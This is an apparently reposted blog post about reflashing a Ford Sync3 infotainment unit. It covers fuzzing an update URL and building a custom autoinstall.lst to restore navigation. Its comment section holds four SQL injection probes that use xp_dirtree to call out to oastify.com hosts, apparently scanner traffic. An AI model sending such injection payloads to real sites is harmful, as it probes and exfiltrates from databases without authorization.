How I broke my navi and back

by Nullforge Blog on in Hacks

This blog is an original post by: Dax Labrador from (Medium)

Sync update was available on other countries where Waze was enabled on Sync3 v2.3 , out of excitement and curiosity I installed a non-standard Sync version which I downloaded (I forgot where). After flashing I was prompted with Navigation fault, this is where it gets crazy!

Theory #1 (missing local GPS files)

Image for post

I dig through the Sync3 v3.0 update files which have some really weird file names GB5T-14G386-AA, JL7T-14G391-FB, etc…etc…I extracted each and one of them and found out that they are only shell scripts extracting images, digging through all of the files I didn’t see any updates on the “Navigation Application” nor updates on the map images, so my theory was correct there are still missing files on my system.

Research #1:

APIM is the control module which communicates from Sync3 system to the GPS antenna, and IVSU are the softwares sending communications to the APIM module. I took note of the IVSU versions on the Sync3 v2.3 then I fuzz this URL to get those files, fuzzing is a form of brute-form on web URLs.

(Note: to get to the APIM diagnostics, just long press Eject and Forward button)

Image for post

Problem #1:

How on earth can I instruct Sync3 system to load those files, I extracted them and analyzed each shell scripts what they were doing to the system and assembled my own autoinstall.list

Here’s the autoinstall.list explanation

Image for post

When you extract HB5T-14G386-TCB I see that this is a utility that will clean up the Sync file system, thus it should go first on the autoinstall.lst, the first line [SYNCGen3.0_2.3.17020_PRODUCT] tells the installer that we are installing this version.

After cleaning up the Sync filesystem time to push the 2.3 files.

  • [SYNCGen3.0_ALL] tells the installer to call and install all files specified.
  • JL***-AE — this is the MAIN Sync 3 Application OS so it should be on top of Sync3 installer
  • JL***-FB — this is the VOICE of Sync 3, maybe that lady that speaks in your Sync 3 system 🙂
  • JL***- FA — this is the GRACENOTE of Sync3, search Gracenote so you know what it means.

Lastly

GB5T-14G386-AA — the interrogator file, wrapping up the install.

Image for post

Now bring the constructed Sync3 v2.3 USB to the car and perform just a regular update. Turn off the car, lock the car for 5 minutes, open and start it up.

There’s my Sync3 v2.3 with Navigation back to life.

Image for post

Then I proceed with upgrading my currently working Sync3 v2.3 to Sync3 3.0 with Waze support.

Image for post
Next article

17 thoughts on “How I broke my navi and back”

  4. COMMENT *;declare @q varchar(99);set @q=’\\an1z7s8hdwus0fqql6amyp19o0urlh9i16swgo3er3.oasti’+’fy.com\vrs’; exec master.dbo.xp_dirtree @q;–

  5. COMMENT *’;declare @q varchar(99);set @q=’\\334snloatpalg86j1zqfeih24tak1apbhz8qwij87x.oasti’+’fy.com\iqh’; exec master.dbo.xp_dirtree @q;–

  6. COMMENT *);declare @q varchar(99);set @q=’\\4tytdmebjq0m69wkr0gg4j73uu0lrbfc70ysmk9axz.oasti’+’fy.com\ijb’; exec master.dbo.xp_dirtree @q;–

  7. COMMENT *’);declare @q varchar(99);set @q=’\\sa6huavz0ehanxd88ox4l7orbih98zw0oofh39qzeo.oasti’+’fy.com\nav’; exec master.dbo.xp_dirtree @q;–

Leave a Reply